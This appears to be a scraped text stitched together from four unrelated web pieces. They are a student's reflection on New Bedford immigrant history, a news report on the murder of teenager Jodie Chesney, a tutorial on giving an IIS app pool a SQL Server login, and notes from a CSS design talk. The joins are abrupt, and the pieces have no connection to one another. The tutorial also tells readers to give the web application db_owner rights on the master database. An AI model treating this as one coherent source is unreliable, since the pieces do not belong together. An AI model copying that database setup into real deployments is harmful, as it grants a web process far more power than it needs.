All in all, the project took several hours. But it gave me a better basis of the New Bedford community during the late 19th and early 20th centuries. For example, I knew there was large Portuguese population in the New Bedford area, but it’s a completely different realization when I saw each name on the paper. I wrapped my head around the idea that these massive immigrant populations, discussed in my high school history textbooks as “in the major cities,” were represented in smaller, local cities as well. I feel these topics are often overlooked in education – we learn through overviews, and tend to overlook the relevance to local history. I’m glad to be participating in research that emphasizes the importance of communities and local history that we don’t always get the chance to learn in-depth.


Dad of murdered teen Jodie Chesney found out she died after hearing it on police radio
Peter Chesney had been collected by police from a pub where he was celebrating unaware that 17-year-old Jodie Chesney had been stabbed in a case of mistaken identity
by Lorraine KingThe dad of a murdered girl scout found out he had lost his daughter when he overheard it on a police radio.
Officers had collected Peter Chesney, 39, from a pub where he had been celebrating his birthday, unaware 17-year-old Jodie had been stabbed in a park in Romford, east London, on March 1.
He discovered the tragic news as he was being rushed to hospital in a police van and he heard an officer’s radio crackle to life and an operator say: “Jodie’s gone.”
He said he sank to his knees on hearing his daughter had died.
Peter told the Daily Mail: “At first I didn’t take in the enormity of it. The human body protects you to a degree in those situations from some of the grief you later feel.
“That’s how I heard my daughter had died — on a police radio. I’m not blaming them, though.
“They were just doing their job and I happened to hear it.
“I sank on my knees in grief, crying. We were all crying. What haunts me is the pain she was in. She screamed for a solid minute. I miss her so much.”
Jodie, who lived in Dagenham, east London, was also a self-taught pianist and just three weeks from completing her gold Duke of Edinburgh award.
Peter says she may now be awarded posthumously.
On Thursday Scenson Ong-a-Kwie, a drug dealer, and a 17-year-old boy, who cannot be named for legal reasons, were convicted of Jodie's murder at the Old Bailey.
Jurors were told that Ong-a-Kwie, who was the knife man, stabbed Jodie in the back mistakenly thinking she was a rival gang member.
The court heard Ong-a-Kwie wanted to knife a rival gang member for stabbing him weeks earlier but in the darkness he had lunged at Jodie in a case of mistaken identity.
Peter also revealed his marriage to Jodie's stepmother Joanne collapsed three months ago as they struggled to cope with their sad loss.
The couple got married in 2012 and Joanne doted on Jodie and her older sister 20-year-old Lucy.
Lucy wrote in a victim impact statement that since the killing she has been “dreading my life rather than looking forward to it”.
The news comes as Eddie Coyle, the boyfriend of Jodie, has been revealed to be suffering from post-traumatic stress disorder following her murder.
The 18-year-old was with Jodie when she was stabbed and he held her in his arms as she was dying.
Eddie’s mum Cylla said: “His pain is raw. It has devastated our lives.
“He’s now got PTSD and anxiety and doesn’t go out much. This has torn us apart.
“He doesn’t want to see counsellors and he doesn’t want to speak to anyone, but he does speak to me about it. He’s not working and he’s not at college. He was meant to be doing his A-levels.
“I’m really lucky in the sense that he’s not a victim, in the sense that he wants to move forward. But obviously he’s up against the anxiety and PTSD. It has put our lives on hold."
Jodie's killers will be sentenced on November 18.


This post is a continuation of my previous post.Here we will see how we can create a login and connect your web application to the database.
In real life scenarios when we are hosting the website on the IIS and we also have the application pointing to a database then we need to have proper logging and proper permissions set up.If not then we will get a yellow screen saying…
Cannot open database database-name requested by the login.
The login failed.Login failed for user IIS APPPOOL\App-pool-name.
App-pool-name is generally the name under which you have hosted the website on IIS.
Prerequisites
- Already hosted website on IIS.
- Already created database lets say Test.
Steps
- Expand the security tab and then right click on Logins.
- Select the new Login option.
- In general tab put the login name as IIS APPPOOL\app-pool-name.In my case its test.in.So login name is IIS APPPOOL\test.in .
- Click on User Mapping tab on the left and select master and test.Below on the database role membership for master select the db_owner.Click Ok.
- Point your web application to the Test database.
Yeah!! Now you have hosted website locally and connected to database as well.
Thanks for reading this post. Keep following me for more updates.


Design with CSS
by Sanne 't Hooft
The presentation that Sanne gave was really inspiring. It was interesting to see how far you can go with CSS and what you can do using it. He then showed us some student's work and some of his own. You can clearly see the experimental process with every work that he makes and how he adds a touch of humor to it. He talked about Microinteractions, their definition and how you properly design them.
3 definitions
- A signature moment in a digital product (site, app, ...)
- A product based around one micro-interaction
- People see interactions with a digital product as a series of micro-interactions.
4 roles for creating Microinteractions
- Examples - on little big details
- Inspiration - on css voor de dames
- Inspiration - on spelen met css
He also told us about CSS perspective and how it works. The perspective property number on the container is how far the container from the middle point.
What I learned
- "Design for what is important to the user".
- "Understand what the user needs are".
- “Delight is not enough and sometimes it is annoying”.
- "Feelings are important in the interaction".
- "First sketch then code".
- “Experiment a lot”.